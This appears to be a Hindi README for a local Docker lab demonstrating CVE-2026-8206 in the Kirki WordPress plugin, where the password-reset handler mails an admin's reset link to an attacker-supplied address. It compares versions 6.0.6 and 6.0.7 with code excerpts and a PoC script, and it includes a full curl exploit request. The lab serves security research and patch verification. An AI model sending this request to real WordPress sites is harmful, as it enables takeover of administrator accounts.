
# स्थानीय Docker लैब जो Kirki WordPress प्लगइन में CVE-2026-8206 बिना प्रमाणीकरण के खाता अधिग्रहण का प्रदर्शन करती है। कमजोर 6.0.6 बनाम पैच किए गए 6.0.7 की तुलना PoC स्क्रिप्ट और कैप्चर किए गए मेल सत्यापन के साथ करती है।
Kirki WordPress प्लगइन में CVE-2026-8206 का प्रदर्शन करने के लिए स्थानीय Docker लैब।
यह रिपॉजिटरी वास्तविक Kirki प्लगइन रिलीज़ की तुलना करती है:
vuln: Kirki 6.0.6patched: Kirki 6.0.7लैब केवल स्थानीय है और WordPress सेवाओं को 127.0.0.1 से बांधती है।
PoC न्यूनतम-हानिकारक है: यह पासवर्ड रीसेट का अनुरोध करता है और लैब के भीतर कैप्चर किए गए ईमेल प्राप्तकर्ता को सत्यापित करता है। यह किसी भी पासवर्ड को नहीं बदलता है।
CVE-2026-8206 Kirki संस्करण 6.0.0 से 6.0.6 में एक अनप्रमाणित खाता अधिग्रहण / विशेषाधिकार वृद्धि भेद्यता है।
भेद्य पासवर्ड रीसेट हैंडलर username द्वारा चयनित वास्तविक WordPress उपयोगकर्ता के लिए एक रीसेट कुंजी बनाता है, लेकिन रीसेट ईमेल को अनुरोध में दिए गए किसी भी ईमेल पते पर भेज देता है।
इस लैब में:
vulnerable => reset link for admin is sent to [email protected]
patched => mismatched email is rejected and no reset email is sent to [email protected]
6.0.0 से 6.0.66.0.7/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
भेद्य हैंडलर है:
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
Kirki अनुरोध बॉडी से हमलावर-आपूर्ति किया गया ईमेल पढ़ता है:
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
फिर यह उपयोगकर्ता नाम द्वारा लक्ष्य WordPress उपयोगकर्ता का पता लगाता है और उस उपयोगकर्ता के लिए एक पासवर्ड रीसेट कुंजी बनाता है:
$key = get_password_reset_key( $user );
लेकिन अंतिम रीसेट ईमेल अनुरोध-आपूर्ति $email पर भेजा जाता है:
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
यह खाता पहचान और रीसेट-ईमेल प्राप्तकर्ता के बीच विश्वास सीमा को तोड़ता है। एक अनप्रमाणित अनुरोधकर्ता प्रदान कर सकता है:
username=admin
[email protected]
रीसेट कुंजी admin की है, लेकिन ईमेल हमलावर-नियंत्रित पते पर पहुंचाया जाता है।
Kirki 6.0.7 सत्यापित करता है कि आपूर्ति किया गया ईमेल हल किए गए उपयोगकर्ता के पंजीकृत ईमेल से मेल खाता है, फिर भेजने से पहले प्राप्तकर्ता को खाता ईमेल पर बाध्य करता है:
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// reject request
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
| सेवा | उद्देश्य | होस्ट URL |
|---|---|---|
vuln | WordPress + Kirki 6.0.6 | http://127.0.0.1:8081 |
patched | WordPress + Kirki 6.0.7 | http://127.0.0.1:8082 |
db_vuln | भेद्य WordPress के लिए MySQL | केवल Docker नेटवर्क |
db_patched | पैच किए गए WordPress के लिए MySQL | केवल Docker नेटवर्क |
wpcli_vuln | भेद्य WordPress को सीड करता है | एक-शॉट सेटअप |
wpcli_patched | पैच किए गए WordPress को सीड करता है | एक-शॉट सेटअप |
स्थानीय मेल बाहरी रूप से भेजे जाने के बजाय फ़ाइलों में कैप्चर किया जाता है:
artifacts/vuln-mail/
artifacts/patched-mail/
लैब WP-CLI के साथ स्थापित वास्तविक Kirki प्लगइन संस्करणों का उपयोग करता है। प्लगइन स्रोत संशोधित नहीं है।
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
requests पैकेजआवश्यकता होने पर Python निर्भरता स्थापित करें:
python3 -m pip install requests
कंटेनर शुरू करें:
docker compose up -d --build
दोनों WordPress इंस्टेंस को सीड करें:
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
PoC चलाएं:
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
अपेक्षित परिणाम:
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: [email protected]
Subject: CVE-2026-8206 local lab proof
यह साबित करता है कि भेद्य संस्करण ने लक्ष्य खाते के लिए पासवर्ड रीसेट ईमेल हमलावर-नियंत्रित पते पर भेजा।
अपेक्षित परिणाम:
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
यह साबित करता है कि पैच किया गया संस्करण उपयोगकर्ता नाम/ईमेल बेमेल को अस्वीकार करता है और रीसेट ईमेल हमलावर-नियंत्रित पते पर नहीं भेजता है।
भेद्य लैब के अंदर सही Kirki एलिमेंट नॉनस बनाएं:
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
भेद्य सेवा को केवल-स्थानीय अनुरोध भेजें:
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "[email protected]" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
कैप्चर किया गया मेल जांचें:
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
अपेक्षित भेद्य साक्ष्य:
To: [email protected]
... action=rp ... login=admin ...
यह लैब केवल स्थानीय सुरक्षा अनुसंधान और पोर्टफोलियो प्रदर्शन के लिए है।
सुरक्षा सीमाएँ:
127.0.0.1 से बांधता है।docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail